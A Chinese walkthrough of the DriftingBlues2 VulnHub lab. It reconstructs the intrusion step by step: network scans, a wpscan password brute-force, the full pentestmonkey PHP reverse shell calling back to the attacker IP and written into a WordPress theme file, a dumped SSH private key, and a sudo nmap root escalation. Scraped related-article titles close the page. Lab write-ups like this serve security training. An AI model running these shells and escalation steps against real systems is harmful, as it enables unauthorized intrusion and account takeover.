靶机描述

靶机地址:https://www.vulnhub.com/entry/driftingblues-2,634/

Description

get flags

difficulty: easy

about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email (it should be on my profile) for troubleshooting or questions.

This works better with VirtualBox rather than VMware

一、搭建靶机环境

攻击机Kali

IP地址:192.168.9.7

靶机

IP地址:192.168.9.23

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

该靶机环境搭建如下

  1. 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
  2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth0 -l

方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

☁  kali  nmap -A -sV -T4 -p- 192.168.9.23
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-18 09:36 CST
Nmap scan report for bogon (192.168.9.23)
Host is up (0.00033s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x   1 ftp      ftp       1403770 Dec 17  2020 secret.jpg
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA)
|   256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA)
|_  256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:B4:49:CC (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE
HOP RTT     ADDRESS
1   0.33 ms bogon (192.168.9.23)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.12 seconds

21—ftp—ProFTPD–同时还有anonymous匿名登录

22—ssh—OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

80—http—Apache httpd 2.4.38 ((Debian))

2.2枚举漏洞

2.2.1 21端口分析

根据 nmap 扫描结果可以发现有匿名登陆
ftp 192.168.9.23
输入密码:anonymous,成功登录,查看一下有啥东西

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ahm1PzlL-1649840422439)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220218094136590.png)]

可以看到有一个图片文件:secret.jpg

下载文件:get secret.jpg

分析一下图片

先放一边

2.2.2 22 端口分析

一般只能暴力破解,暂时没有合适的字典

2.2.3 80端口分析

扫一下目录

dirsearch -u http://192.168.9.23/

访问http://192.168.9.23/blog/

当前页面除了发现是WordPress站,没有其他发现

查看一下源代码

DNS解析????

driftingblues.box修改进hosts文件

除了界面有点颜色了,其他没有啥改变

在扫描一下目录

dirsearch -u http://driftingblues.box/blog/

扫描出了后台登录页面

2.3漏洞利用

2.3.1 使用 wpscan 获取账号密码

使用wpscan扫描一下

wpscan --url http://driftingblues.box/blog/ -e

成功拿到用户名albert

破解一下密码试试

wpscan --url http://driftingblues.box/blog/ -e u --passwords /usr/share/wordlists/rockyou.txt

成功得到密码scotland1

利用得到的账户密码进行登录后台

根据经验,进入主题编辑界面

2.3.2 修改 404.php 获取 shell

利用kali自带的webshell源码

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.netset_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.9.7';
$port = 6666;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;if (function_exists('pcntl_fork')) {$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}if (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;
} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}chdir("/");umask(0);// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {printit("$errstr ($errno)");exit(1);
}$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);
}stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}
}fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);function printit ($string) {if (!$daemon) {print "$string\n";}
}?>

将源码复制到404.php

Kali 开启监听:nc -lvp 6666
然后访问一个不存在的 URL:http://driftingblues.box/blog/index.php/1234

成功拿到shell

使用 python 切换 bash:python3 -c 'import pty; pty.spawn("/bin/bash")'

2.3.3 信息收集获取 ssh 私钥获取 shell

进入home发现用户freddie,并进入目录,发现user.txt,查看文件内容,无权限

再查看一下目录下有无其他文件

发现.ssh,进入该目录,查看目录文件

再次发现id_rsa可查看

www-data@driftingblues:/home/freddie/.ssh$ cat id_rsa
cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAv/HVquua1jRNOCeHvQbB1CPsqkc6Y2N25ZpJ84H7DonP9CGo+vO/
gwHV7q4TsCfCK67x8uYoAOydIlIU6gwF17CpXydK52FxFfteLc0h9rkUKs8nIFxbxXBv8D
IiUwhtVTEy7ZcEYEBeC40LPhBB3/70NiTRHFXP0kOWCXLUZYrSwzpq+U+45JkzkrXYZUkL
hbHOoNFzVZTUESY/sO6/MZAGGCI2SytaIerWUiDCJB5vUB7cKuV6YwmSJw9rKKCSKWnfm+
bwAXZwL9iv+yTt5OiaY/81tzBC6WbbmIbdhibjQQS6AXRxwRdv7UrA5ymfktynDl4yOwX3
zO1cz4xK+wAAA8hn0zMfZ9MzHwAAAAdzc2gtcnNhAAABAQC/8dWq65rWNE04J4e9BsHUI+
yqRzpjY3blmknzgfsOic/0Iaj687+DAdXurhOwJ8IrrvHy5igA7J0iUhTqDAXXsKlfJ0rn
YXEV+14tzSH2uRQqzycgXFvFcG/wMiJTCG1VMTLtlwRgQF4LjQs+EEHf/vQ2JNEcVc/SQ5
YJctRlitLDOmr5T7jkmTOStdhlSQuFsc6g0XNVlNQRJj+w7r8xkAYYIjZLK1oh6tZSIMIk
Hm9QHtwq5XpjCZInD2sooJIpad+b5vABdnAv2K/7JO3k6Jpj/zW3MELpZtuYht2GJuNBBL
oBdHHBF2/tSsDnKZ+S3KcOXjI7BffM7VzPjEr7AAAAAwEAAQAAAQAWggBBM7GLbsSjUhdb
tiAihTfqW8HgB7jYgbgsQtCyyrxE73GGQ/DwJtX0UBtk67ScNL6Qcia8vQJMFP342AITYd
bqnovtCAMfxcMsccKK0PcpcfMvm0TzqRSnQOm/fNx9QfCr5aqQstuUVSy9UWC4KIhwlO6k
ePeOu3grkXiQk3uz+6H3MdXnfqgEp0bFr7cPfLgFlZuoUAiHlHoOpztP19DflVwJjJSLBT
8N+ccZIuo4z8GQK3I9kHBv7Tc1AIJLDXipHfYwYe+/2x1Xpxj7oPP6gXkmxqwQh8UQ8QBY
dT0J98HWEZctSl+MY9ybplnqeLdmfUPMlWAgOs2/dxlJAAAAgQCwZxd/EZuDde0bpgmmQ7
t5SCrDMpEb9phG8bSI9jiZNkbsgXAyj+kWRDiMvyXRjO+0Ojt97/xjmqvU07LX7wS0sTMs
QyyqBik+bFk9n2yLnJHtAsHxiEoNZx/+3s610i7KsFZQUT2FQjo0QOEoobALsviwjFXI1E
OsTmk2HN82rQAAAIEA7r1pXwyT0/zPQxxGt9YryNFl2s54xeerqKzRgIq2R+jlu4dxbVH1
FMBrPGF9razLqXlHDaRtl8Bk04SNmEfxyF+qQ9JFpY8ayQ1+G5kK0TeFvRpxYXrQH6HTMz
50wlwX9WqGWQMNzmAq0f/LMYovPaBfwK5N90lsm9zhnMLiTFcAAACBAM3SVsLgyB3B5RI6
9oZcVMQlh8NgXcQeAaioFjMRynjY1XB15nZ2rSg/GDMQ9HU0u6A9T3Me3mel/EEatQTwFQ
uPU+NjV7H3xFjTT1BNTQY7/te1gIQL4TFDhK5KeodP2PsfUdkFe2qemWBgLTa0MHY9awQM
j+//Yl8MfxNraE/9AAAADmZyZWRkaWVAdm1ob3N0AQIDBA==
-----END OPENSSH PRIVATE KEY-----

将私钥复制到本地,使用 ssh 尝试登陆

修改文件为 linux 下的换行:vi id_rsa

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1C9TWIcW-1649840422447)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220218103644920.png)]

修改 SSH 私钥为只读权限:chmod 400 id_rsa
尝试登陆:ssh freddie@192.168.9.23 -i id_rsa

成功登录

成功拿到flag1

2.4权限提升

2.4.1 sudo 提权

发现可以利用nmap提权

https://gtfobins.github.io/查找nmap

可利用这里的sudo 提权

使用第一种方法提权

TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF

成功提权

使用 python 切换 bash:python3 -c 'import pty; pty.spawn("/bin/bash")'

成功在root目录下找到flag2

总结

本节通过信息收集获取账号密码,利用wpscan扫描工具获取信息,进而登陆后台写入后门 getshell,然后信息收集获取 ssh 私钥获取 shell,最后利用 nmap 提权

  1. 目录扫描
  2. wpscan 工具使用
  3. Wordpress 后台主题编辑利用
  4. 信息收集获取 ssh 私钥获取 shell
  5. sudo 提权 nmap 提权

靶机渗透练习02-driftingblues2相关推荐

  1. HA: SHERLOCK 靶机渗透取证

    HA: SHERLOCK 靶机渗透取证 靶机描述: DescriptionHA: Sherlock! This lab is based on the famous investigator's jo ...

  2. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  3. [HTB]“Heist”靶机渗透详细思路

    今天我们来看一下hackthebox里的一个靶机"Heist",直接开始渗透. 一.信息搜集 先打开网站看看.是一个登陆框,使用弱口令和注入都无果.在网页中发现了 login as ...

  4. [网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了APT攻击检测溯源与常见APT组织的攻击案例,并介绍防御措施.这篇文章将讲 ...

  5. 【渗透测试】靶机渗透Vulnhub-bulldog

    目录 前言 一.bulldog靶机安装 二.bulldog靶机渗透 1.信息搜集 2.Web渗透--后台登录 3.Web渗透--命令注入&nc反弹shell 4.权限提升 渗透步骤回顾 感悟 ...

  6. 靶机渗透【bulldog】

    文章目录 *一. bulldog靶机安装* 1. 下载bulldog 2. 开启bulldog *二. bulldog靶机渗透* 1. 信息收集 2. Web渗透 3. 命令注入&nc反弹sh ...

  7. Bulldog靶机渗透

    Bulldog靶机渗透 1. 获取地址IP,确定靶机IP是192.168.119.134 2.扫描目标主机信息 3.爆破目标主机目录 4.通过翻译得知这个网页是给承包商看的 5.查看网页的源码,查找有 ...

  8. 【VulnHub靶机渗透】一:BullDog2

    在网上各位大佬WriteUp的帮助下,成功完成了第一次完整的靶机渗透测试(大佬NB!),现将详细过程及原理做简单整理. 文章目录 简介 渗透步骤 1.主机发现.端口扫描 2.Web扫描.漏洞发现 3. ...

  9. bulldog2 靶机渗透

    bulldog2 靶机渗透 1.先做主机发现 2.查看目标靶机开通的服务,发现目标靶机只开通了80端口 3.使用http服务登录主页 4.发现网站关闭了注册功能 5.发现用户遍历漏洞 6.查看下载好的 ...

  10. Eric靶机渗透测试

    Eric靶机渗透练习 攻击机:kali Ip:192.168.0.3 靶机:eric Ip:192.168.0.4 找到靶机ip:192.168.0.4 nmap -sF 192.168.0.0/24 ...

最新文章

  1. java lambda表达式_恕我直言你可能真的不会java第1篇:lambda表达式会用了么?
  2. 面试再问值传递与引用传递,把这篇文章砸给他!
  3. SQL 2005完全卸载,重新安装
  4. 缺省的servlet(了解)
  5. JAVA 构造 MAP 并初始化 MAP、定义时就初始化
  6. FreeRTOS学习及移植笔记之二:在IAR和STM32F103VET上移植FreeRTOS
  7. java 蓝桥杯 基础练习 FJ的字符串
  8. 测试beta测试_重新想象不断变化的自动化世界中的Beta测试
  9. Swiper学习之三---swiper的配置选项 ②:Free模式和Effects切换效果
  10. TensorFlow 教程 --新手入门--1.2 下载安装
  11. DEVO 7E遥控器配对
  12. php方法参数,关于PHP方法参数的那一些事
  13. android多媒体框架学习 详解
  14. 使用 ASM 实现 Java 语言的“多重继承”
  15. 未能加载文件或程序集Microsoft.ReportViewer.WebForms
  16. 编程界的修仙秘籍《JavaScript》百炼成仙第1章
  17. php 服务器返回404,php--------返回404状态
  18. Python 灰帽子笔记之调试器
  19. MpAndroidChart Y轴显示整数
  20. unity静止人物素材制作动作,导入unity行走、跑步动画,并用Animator Controller加脚本进行控制

热门文章

  1. 群发邮件如何让收件人互相不知道?群发邮件怎么发很多人
  2. 10G 82599EB 网卡测试优化 ethtool
  3. 使用Python连接阿里云盘
  4. [译] APT分析报告:01.Linux系统下针对性的APT攻击概述
  5. P1008 [NOIP1998 普及组] 三连击 题解
  6. 华硕服务器 u盘安装系统,怎样用U盘给华硕电脑装系统3种教程
  7. 马云的江湖 史玉柱的兵法
  8. Debain 安装SVN服务器 支持http/https 全程指导
  9. android无限轮播banner图片并且解决banner图片只有2张出现白板的情况,触摸即不轮播
  10. 【微服务|Sentinel】实时监控|RT|吞吐量|并发数|QPS